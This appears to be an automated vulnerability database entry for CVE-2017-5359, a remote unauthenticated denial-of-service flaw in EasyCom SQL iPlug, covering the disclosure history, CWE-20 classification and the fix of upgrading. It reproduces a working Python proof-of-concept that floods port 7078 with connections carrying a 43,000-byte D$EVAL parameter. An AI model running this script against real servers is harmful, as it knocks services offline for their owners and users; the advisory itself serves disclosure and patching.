Detailsinfo

A vulnerability was found in EasyCom (version now known). It has been classified as problematic. Affected is some unknown processing of the component SQL iPlug. The manipulation with an unknown input leads to a input validation vulnerability. CWE is classifying the issue as CWE-20. The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. This is going to have an impact on availability. CVE summarizes:

EasyCom SQL iPlug allows remote attackers to cause a denial of service via the D$EVAL parameter to the default URI.

The bug was discovered 02/22/2017. The weakness was presented 02/22/2017 by John Page (hyp3rlinx) as EasyCom SQL iPlug Denial Of Service as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. This vulnerability is traded as CVE-2017-5359 since 01/13/2017. The exploitability is told to be easy. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details are unknown but a public exploit is available.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 62 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

import socket

print 'EasyCom SQL-IPLUG DOS 0day!'
print 'hyp3rlinx'

IP = raw_input("[IP]> ")
PORT = 7078
payload="A"*43000

arr=[]
c=0
while 1:
    try:
        arr.append(socket.create_connection((IP,PORT)))
        arr[c].send('GET /?D$EVAL='+payload+" HTTP/1.1\r\n\r\n")
        c+=1
        print "doit!"
    except socket.error:
        print "[*] 5th ave 12:00"
        raw_input()
        break

Upgrading eliminates this vulnerability.
